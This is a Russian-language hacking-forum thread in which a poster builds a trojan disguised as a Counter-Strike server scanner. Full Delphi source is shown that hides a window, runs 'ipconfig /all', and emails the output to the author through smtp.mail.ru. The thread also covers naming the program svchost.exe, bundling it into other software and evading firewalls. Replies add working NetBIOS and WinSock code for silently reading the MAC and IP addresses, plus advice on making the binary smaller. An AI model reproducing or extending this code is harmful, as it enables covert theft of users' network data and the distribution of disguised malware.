В общем задумка такая написать програмку, которая будет закидываться клиенту в качестве полезной программы, ну например сканирование сети на поиск игровых серверов с всякими прикольными функциями Но програма будет включать в себя что-то типо среды разведчика . Её цель узнать mac и айпи узера. Как она будет это делать: 1.Красивая оболоча (форма) содержащая функции поиска игровых серверов в сети 2.Скрытое мемо поле , в которое будет выводиться содержимое cmd , а конкретнее ip config/all 3.Содержимое ipconfig будет храниться в мемо(скрытом мемо) 4.Содержимое мемо будет записываться в тексовый файл лог файл красио обозваный например c:\windows\ipconfig.log Те гдубо говоря запишим содеримое всего ipconfig В лог файл чтобы никто не догадался обозвали его круто ipconfig.log 5.Полученый файл отправим по почьте , на кодировку всё равно, нам главное mac и айпи В процессе разработки сделал вывод содержимого мемо, скрыл это содержимое, а вот как сохранить содержимое из мемо в txt файл не знаю не получается пробую так: Проблема с которой столкнулся Code: var Form1: TForm1; Fo,Fi :textfile; var s : string; i : integer; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin assignfile(Fo, ' d:\xxx\=file1=.txt ' ); rewrite(Fo); //создаем файл for i:=0 to memo1.Lines.Count-1 do writeln(Fo,memo1.Lines[i]); //записываем текст в него из МЕМО closefile(fo); //и закрываем button2.Enabled:=true;//теперь можно 2-ю кнопку использовать end;
Всё спасибо , не нужно разобрался Code: memo1.Lines.SaveToFile('1.txt'); тепрь новый вопрос Как можно отправить файл текстовый по почьте, или содержимое мемо сразу? ну какая нибуть команда типо mail Send??? в делфи есть чтобы можно было сразу мыло уазать и оправка происходила не заметно?
Ладно никто не хочет отвечать написал по другому вечером выложу готовый файл, но троян работает через memo а не через файлы это не очень хорошо, но всё же задуманно осуществил мас+ip узнаю лёгко ! УрА ТОВАРИЩИ ПОЗДРАВЬТЕ С УСПЕШНО НАПИСАНЫМ 1-м троем за 1 день написанным без ответов на форуме )))))
Тупо видно ты мало знаеш не так это всё делается причем тут ipconfig и делфи? ты че думаеш memo1.visable:=false; а текст в нем ipconfig >> C:\Windows\ipconfig.log ? грубо ! даже если так делать то нужно создать стрингЛист и в нем вписать и выполнить но это поламерски ай-пи можно многими путями в делфи например используя winsock а впринцыпе про VCL забывать пора.
Ужас выучи синтаксис в делфи затем не используя компонентов напиши свой текстовой редактор то есть можно $APPTYPE_CONSOLE будет консольная тулза пусть это всё будет геморойно но зато в стиле эксполйтов. про трои молчу.
EvLУжас выучи синтаксис в делфи Зачем учить язык который мне совершенно не нужен, была задача , задачу решил, ты ещё повосетуй на делфях написать свой язык программирования , потом создать пару десятков компонентов для этого и свои свой компилятор. Уважаемый плиз в студию как winsock узнает мак адрес твоей сетевой, маршрутизацию прописаную таи имя учетки и всё, что связано что нужно узнать для угога привязки к модему и лок настройкам? Пальцы конечно можно гнуть всегда и писать суппер закодиные проги которые будет весить гекетыры и то, что они будут отсылать тоже будут Га весить... А документ текстовый , или не текстовый создавать всё равно -это образно говориться, конечно лучьше записывать в какой -нибуть setuplog.txt c систем рута и полученную инфу кодить и отсылать закодиной с этим согласен, но всё зависит от поставленых целей!
какой ужас определение MAC - 5 строчек на АПИ, легко через яндекс ищется. Сохранение в файл - 3 строчки. Зачем такой ужас с пайпами и убогим memo?
Чтоб программы невесили много используй winAPI и забудь про VCL а используя winsock можно получить IP... MAC адрес можно получить так: uses NB30; function GetAdapterInfo(Lana: Char): string; var Adapter: TAdapterStatus; NCB: TNCB; begin FillChar(NCB, SizeOf(NCB), 0); NCB.ncb_command := Char(NCBRESET); NCB.ncb_lana_num := Lana; if Netbios(@NCB) <> Char(NRC_GOODRET) then begin Result := 'mac not found'; Exit; end; FillChar(NCB, SizeOf(NCB), 0); NCB.ncb_command := Char(NCBASTAT); NCB.ncb_lana_num := Lana; NCB.ncb_callname := '*'; FillChar(Adapter, SizeOf(Adapter), 0); NCB.ncb_buffer := @Adapter; NCB.ncb_length := SizeOf(Adapter); if Netbios(@NCB) <> Char(NRC_GOODRET) then begin Result := 'mac not found'; Exit; end; Result := IntToHex(Byte(Adapter.adapter_address[0]), 2) + '-' + IntToHex(Byte(Adapter.adapter_address[1]), 2) + '-' + IntToHex(Byte(Adapter.adapter_address[2]), 2) + '-' + IntToHex(Byte(Adapter.adapter_address[3]), 2) + '-' + IntToHex(Byte(Adapter.adapter_address[4]), 2) + '-' + IntToHex(Byte(Adapter.adapter_address[5]), 2); end; function GetMACAddress: string; var AdapterList: TLanaEnum; NCB: TNCB; begin FillChar(NCB, SizeOf(NCB), 0); NCB.ncb_command := Char(NCBENUM); NCB.ncb_buffer := @AdapterList; NCB.ncb_length := SizeOf(AdapterList); Netbios(@NCB); if Byte(AdapterList.length) > 0 then Result := GetAdapterInfo(AdapterList.lana[0]) else Result := 'mac not found'; end;
EvLМас получим, может быть твоей функцией, а если у меня привязка на маршрутизаторе мас+айпи , ещё бывает куча шлюзов на которые тоже привязываются разные узеры с разными айпи , масками подсетей , да даже днс серверы разные и привязка происходит у неготорых(самых умных) по всем сетевым настройкам! Так что нужно полюбому узнавать все сетевые настройки и я думаю ничего это не сделает проще , как ipconfig ил большая куча процедур,функций для этого.... Да и Win у всех разная как с этим быть тоже без понятия... Сделал вот так с отправкой на почту, ну естественно , что форму можно скрыть вообще и называть его svchost.exe , но мне так не нужно мне не важен вес, я её буду вшивать в другую прогу, котоарая будет распростроняться с программой для сканирования Контер страйк серверов Вот только фаер ловит её unit Unit1; interface Uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress; type TForm1 = class(TForm) IdSMTP1: TIdSMTP; Memo1: TMemo; procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure RunDosInMemo(CmdLine: string; AMemo: TMemo); const ReadBuffer = 24000; var Security: TSecurityAttributes; ReadPipe, WritePipe: THandle; start: TStartUpInfo; ProcessInfo: TProcessInformation; Buffer: Pchar; BytesRead: DWord; Apprunning: DWord; begin Screen.Cursor := CrHourGlass; with Security do begin nlength := SizeOf(TSecurityAttributes); binherithandle := true; lpsecuritydescriptor := nil; end; if Createpipe(ReadPipe, WritePipe, @Security, 0) then begin Buffer := AllocMem(ReadBuffer + 1); FillChar(Start, Sizeof(Start), #0); start.cb := SizeOf(start); start.hStdOutput := WritePipe; start.hStdInput := ReadPipe; start.dwFlags := STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW; start.wShowWindow := SW_HIDE; if CreateProcess(nil, PChar(CmdLine), @Security, @Security, true, NORMAL_PRIORITY_CLASS, nil, nil, start, ProcessInfo) then begin repeat Apprunning := WaitForSingleObject (ProcessInfo.hProcess, 1000); ReadFile(ReadPipe, Buffer[0], ReadBuffer, BytesRead, nil); Buffer[BytesRead] := #0; OemToAnsi(Buffer, Buffer); AMemo.Text := AMemo.text + string(Buffer); Application.ProcessMessages; until (Apprunning <> WAIT_TIMEOUT); end; FreeMem(Buffer); CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); CloseHandle(ReadPipe); CloseHandle(WritePipe); end; Screen.Cursor := CrDefault; end; procedure TForm1.FormCreate(Sender: TObject); var M: TIdMessage; begin Memo1.Clear; RunDosInMemo('ipconfig /all', Memo1); M := TIdMessage.Create(Form1); M.Body := Memo1.Lines; M.From.Text := '[email protected]'; M.Recipients.Add; M.Recipients.Items[0].Text := '[email protected]'; M.Subject := 'Òåìà ïèñüìà'; IdSMTP1.AuthenticationType := atLogin; IdSMTP1.Host := 'smtp.mail.ru '; IdSMTP1.Username := ' [email protected]'; IdSMTP1.Password := ' pass'; IdSMTP1.Connect(); if IdSMTP1.Connected then begin IdSMTP1.Send(M); end; IdSMTP1.Disconnect; end; end.
Вот я написал по твоему совету, но как дальше без компонента IdSMTP отправлять полученные даныне ? Как узнавать айпи адреса и все параметры сетевой карты? Можно ли в консольное приложения вставлять компоненты я не представляю себе как.... Вот и сходник и экзешние в архиве, но ведь использовать SysUtils всё равно придеться т.е. нужно определять IntToHex а SysUtils -это 38 кб . и отключать {$APPTYPE CONSOLE} не получается чтобы не отображалась консоль _http://anticlubtimer.narod.ru/mac.exe
Ай-пи можно получить так: uses WinSock; function GetLocalIP: String; const WSVer = $101; var wsaData: TWSAData; P: PHostEnt; Buf: array [0..127] of Char; begin Result := ''; if WSAStartup(WSVer, wsaData) = 0 then begin if GetHostName(@Buf, 128) = 0 then begin P := GetHostByName(@Buf); if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^); end; WSACleanup; end; end; должно работать непроверял... Можно не использовать форму и использовать комопенты... впринцыпе нужно попробовать заюзать winsock для отправки почты менше хоть весить будет ексешник. Да и вот что отключить можно всё только вот непонимаю зачем тибе консоль создай proga.dpr открой его в Delphi и пиши на нечистом извратном винАПИ